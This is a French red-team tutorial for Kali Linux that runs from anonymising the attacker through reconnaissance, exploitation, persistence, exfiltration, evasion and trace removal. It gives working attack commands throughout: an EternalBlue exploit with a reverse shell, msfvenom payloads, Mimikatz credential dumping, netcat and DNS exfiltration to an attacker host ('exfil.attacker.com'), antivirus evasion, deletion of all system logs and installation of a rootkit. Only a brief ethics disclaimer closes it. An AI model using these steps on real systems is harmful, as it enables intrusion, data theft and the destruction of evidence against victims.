Tutoriel Red Team Master avec Kali Linux
Ce tutoriel vous guide à travers les différentes étapes d'une attaque Red Team en utilisant Kali Linux. Il couvre la préparation, la reconnaissance, l'exploitation, la persistance et l'évasion. Ce document est conçu pour les professionnels en sécurité offensive, en suivant une approche exhaustive et éthique.
đŻ Sommaire
- Préparation : Protection de l'attaquant
- Phase 1 : Reconnaissance et Information Gathering
- Phase 2 : Scanning et ĂnumĂ©ration
- Phase 3 : Exploitation des vulnérabilités
- Phase 4 : Post-Exploitation et Persistance
- Phase 5 : Attaques Cloud et Docker
- Phase 6 : Exfiltration des Données
- Phase 7 : Ăvasion des DĂ©tections et Persistance
- Phase 8 : Nettoyage et Ăvasion Totale
- Ăthique et Conduite Ă Suivre
đĄïž PrĂ©paration : Protection de l'attaquant
Objectif
L'objectif est de mettre en place une protection maximale pour l'attaquant. Il est crucial de rester anonyme et de ne laisser aucune trace qui pourrait permettre de retracer les actions menées.
Outils utilisés :
- VPN
- Tor
- macchanger
- iptables
- Kali Linux (mode Live) ou Tails
Ătapes :
1. Utilisation de Tor et Proxychains
sudo apt install tor
sudo service tor start
proxychains firefox https://example.com
Cette configuration garantit que tout votre trafic est acheminé via Tor pour garantir l'anonymat.
2. Changement de lâadresse MAC
sudo apt install macchanger
sudo ifconfig eth0 down
sudo macchanger -r eth0
sudo ifconfig eth0 up
Changer l'adresse MAC permet de masquer l'identité de l'attaquant en dissimulant les informations de la carte réseau utilisée.
3. Protection via un firewall (iptables)
sudo iptables -A INPUT -p tcp --syn -j DROP
Configurer un firewall bloque toute tentative de connexion non autorisée vers la machine de l'attaquant, garantissant une protection supplémentaire.
4. Utilisation de Kali Linux ou Tails en mode Live
Lancer Kali Linux ou Tails en mode live garantit que rien n'est Ă©crit sur le disque dur local, empĂȘchant toute traçabilitĂ© post-opĂ©ration.
đĄ Phase 1 : Reconnaissance et Information Gathering
Objectif
Recueillir des informations passives et actives sur la cible afin de découvrir des points faibles exploitables. Cette phase comprend la collecte d'informations depuis des sources publiques sans interaction directe (reconnaissance passive) ainsi que des scans actifs pour détecter des services exposés.
Outils utilisés :
- Recon-ng
- Shodan
- theHarvester
- Spiderfoot
- Maltego
Ătapes :
1. Recon-ng (Reconnaissance passive)
recon-ng
workspace create target_workspace
modules add recon/domains-hosts/shodan_host
options set TARGET example.com
run
Utilisez Recon-ng pour automatiser la collecte d'informations telles que les sous-domaines et les adresses IP associées à la cible.
2. Utilisation de Shodan
shodan search apache port:80
Shodan permet de découvrir des appareils connectés à Internet (par exemple des serveurs web) et leurs configurations, utiles pour identifier des services exposés.
3. Récupération des emails et sous-domaines avec theHarvester
theHarvester -d example.com -b all
Cette commande permet de récupérer des informations sur les emails, sous-domaines, et autres informations liées à un domaine spécifique.
4. Automatisation de la reconnaissance avec Spiderfoot
spiderfoot -s example.com -m IP,ASN,whois
Spiderfoot facilite la collecte dâinformations DNS, rĂ©seaux sociaux et autres via un processus automatisĂ©.
đ Phase 2 : Scanning et ĂnumĂ©ration
Objectif
Identifier les services actifs, les versions de logiciels en cours d'exécution et les vulnérabilités potentielles sur la cible. Le but est de découvrir les points faibles techniques que l'attaquant peut exploiter.
Outils utilisés :
- Nmap
- Gobuster
- Nikto
- Enum4linux
Ătapes :
1. Nmap (Scan de ports et services)
nmap -sC -sV -A -p- 10.0.0.1
Nmap est utilisé pour scanner tous les ports ouverts et détecter les versions des services actifs, ainsi que les systÚmes d'exploitation utilisés.
2. Recherche de répertoires cachés avec Gobuster
gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gobuster permet de trouver des répertoires cachés et des fichiers sensibles accessibles via le web.
3. Scan de vulnérabilités web avec Nikto
nikto -h http://example.com
Nikto identifie les vulnérabilités sur les serveurs web en scannant les configurations défaillantes et les versions vulnérables des logiciels.
4. ĂnumĂ©ration des partages avec Enum4linux
enum4linux -a 10.0.0.1
Enum4linux est utilisé pour énumérer les partages Samba et les informations Windows sur un réseau cible, fournissant des détails essentiels sur les utilisateurs, partages, et groupes.
đ„ Phase 3 : Exploitation des VulnĂ©rabilitĂ©s
Objectif
Exploiter les vulnérabilités découvertes pour compromettre la machine cible. Cette phase consiste à utiliser des exploits pour prendre le contrÎle des services vulnérables et obtenir un accÚs à la machine.
Outils utilisés :
- Metasploit Framework
- MSFvenom
- Searchsploit
- SQLMap
Ătapes :
1. Exploitation avec Metasploit
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.0.1
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Utilisez Metasploit pour exploiter la vulnérabilité SMB (EternalBlue) et obtenir un shell Meterpreter sur la cible.
2. Génération de payload avec MSFVenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf
Générez des payloads personnalisés pour exécuter un reverse shell et obtenir un accÚs à distance sur la machine cible.
3. Recherche d'exploits avec Searchsploit
searchsploit apache
Searchsploit vous permet de trouver rapidement des exploits pour les services et logiciels identifiés précédemment, dans une base de données locale.
4. Exploitation d'injections SQL avec SQLMap
sqlmap -u "http://example.com/search.php?q=test" --dbs
SQLMap automatise la dĂ©tection et l'exploitation des vulnĂ©rabilitĂ©s SQL Injection sur les formulaires web et les requĂȘtes HTTP.
âïž Phase 4 : Post-Exploitation et Persistance
Objectif
Maintenir un accÚs persistant sur la machine compromise et prendre le contrÎle total du systÚme. Cette phase consiste à installer des backdoors, à escalader les privilÚges et à récupérer des informations sensibles comme des mots de passe.
Outils utilisés :
- Empire
- Mimikatz
- BloodHound
- LinPEAS / WinPEAS
Ătapes :
1. Extraction de mots de passe avec Mimikatz
mimikatz # sekurlsa::logonpasswords
Mimikatz est utilisĂ© pour extraire les mots de passe en clair et les tickets Kerberos Ă partir de la mĂ©moire dâun systĂšme Windows.
2. Cartographie AD avec BloodHound
sharpHound.exe -c All
BloodHound permet de cartographier les relations dans un environnement Active Directory et dâidentifier les chemins dâescalade de privilĂšges.
3. Escalade de privilĂšges avec WinPEAS
winPEAS.exe > results.txt
Utilisez WinPEAS pour dĂ©tecter les vulnĂ©rabilitĂ©s locales et escalader les privilĂšges sur un systĂšme Windows. LinPEAS remplit le mĂȘme rĂŽle pour Linux.
âïž Phase 5 : Attaques Cloud et Docker
Objectif
Exploiter les environnements mal configurés sur le cloud et les conteneurs Docker pour obtenir un accÚs non autorisé ou compromettre les ressources cloud.
Outils utilisés :
- Trivy
- ScoutSuite
- Cloudsploit
Ătapes :
1. Scan de vulnérabilités Docker avec Trivy
trivy image my-docker-image
Trivy est utilisé pour scanner les images Docker à la recherche de vulnérabilités connues dans les bibliothÚques utilisées par les conteneurs.
2. Audit de sécurité avec ScoutSuite
scout aws --services s3,ec2
ScoutSuite audite les configurations des services cloud pour identifier les failles de sécurité, comme des buckets S3 mal configurés ou des instances EC2 vulnérables.
3. Audit de configurations avec CloudSploit
cloudsploit scan --config myconfig.yml
CloudSploit permet d'auditer en profondeur les environnements AWS et d'autres plateformes cloud pour identifier les configurations non sécurisées.
đŸ Phase 6 : Exfiltration des DonnĂ©es
Objectif
Extraire des informations sensibles depuis la machine compromise tout en Ă©vitant les dĂ©tections. Cette Ă©tape implique lâutilisation de techniques furtives pour transfĂ©rer les donnĂ©es hors du rĂ©seau cible.
Outils utilisés :
- Rclone
- Netcat
- DNSExfil
Ătapes :
1. Transfert de fichiers via Netcat
# Sur la machine attaquante (en Ă©coute)
nc -lvp 4444 > secret.txt
# Sur la machine cible (qui envoie le fichier)
nc [IP attaquante] 4444 < secret.txt
Netcat est utilisé pour transférer des fichiers entre la machine compromise et la machine de l'attaquant via une connexion réseau directe.
2. Synchronisation avec Rclone
rclone sync /path/to/target/folder remote:exfil_data
Rclone permet de synchroniser les fichiers compromis avec des services cloud tels que Google Drive ou Amazon S3 pour une exfiltration rapide et discrĂšte.
3. Exfiltration via DNS
dnsExfil --data "secret_data.txt" --domain "exfil.attacker.com"
L'exfiltration via DNS utilise des requĂȘtes DNS pour envoyer discrĂštement des donnĂ©es depuis la machine cible vers un serveur contrĂŽlĂ© par l'attaquant.
đš Phase 7 : Ăvasion des DĂ©tections et Persistance
Objectif
Rester caché le plus longtemps possible sur le systÚme compromis et éviter les systÚmes de détection tels que les IDS, IPS et antivirus.
Outils utilisés :
- Veil
- Shellter
- Metasploit
Ătapes :
1. Payload indétectable avec Veil
veil
use evasion/windows/meterpreter/reverse_tcp
generate
Veil gĂ©nĂšre des payloads indĂ©tectables par les antivirus, permettant Ă l'attaquant de maintenir un accĂšs persistant sans ĂȘtre repĂ©rĂ©.
2. Injection de shellcode avec Shellter
shellter --stealth
use windows/meterpreter/reverse_tcp
Shellter est utilisé pour injecter du code malveillant dans un exécutable légitime, rendant la détection par les systÚmes de sécurité beaucoup plus difficile.
3. Obfuscation avec Metasploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe > payload.exe
Metasploit permet d'obfusquer et de chiffrer les payloads, rendant plus difficile leur détection par les systÚmes de détection d'intrusion et antivirus.
đ§č Phase 8 : Nettoyage et Ăvasion Totale
Objectif
Effacer toutes les traces de l'attaque pour éviter toute détection ultérieure. Cette étape inclut la suppression des logs, l'obfuscation des commandes, et l'utilisation de rootkits pour masquer les activités de l'attaquant.
Outils utilisés :
- Suppression des logs
- Shred
- Rootkits pour masquer les actions et les processus
Ătapes :
1. Suppression des logs sous Linux
sudo rm -rf /var/log/*
Supprimez les logs systÚme pour effacer toute preuve des actions menées sur la machine cible.
2. Suppression sécurisée avec Shred
shred -n 35 -z sensitive_file.txt
Shred est utilisé pour écraser plusieurs fois les fichiers sensibles avant de les supprimer, rendant leur récupération impossible.
3. Masquage avec Rootkits
sudo ./jynx2_install.sh
Les rootkits sont installĂ©s pour masquer les processus actifs, rendant vos actions indĂ©tectables mĂȘme pour les administrateurs et outils dâanalyse forensique.
âïž Ăthique et Conduite Ă Suivre
Les tests Red Team doivent ĂȘtre menĂ©s dans le cadre lĂ©gal et avec des autorisations explicites. Toute attaque ou intrusion sans consentement est illĂ©gale. Ce document est Ă usage pĂ©dagogique pour comprendre les mĂ©canismes de dĂ©fense et dâattaque en cybersĂ©curitĂ©. En tant que professionnel de la sĂ©curitĂ©, il est de votre responsabilitĂ© de toujours agir dans les limites Ă©thiques.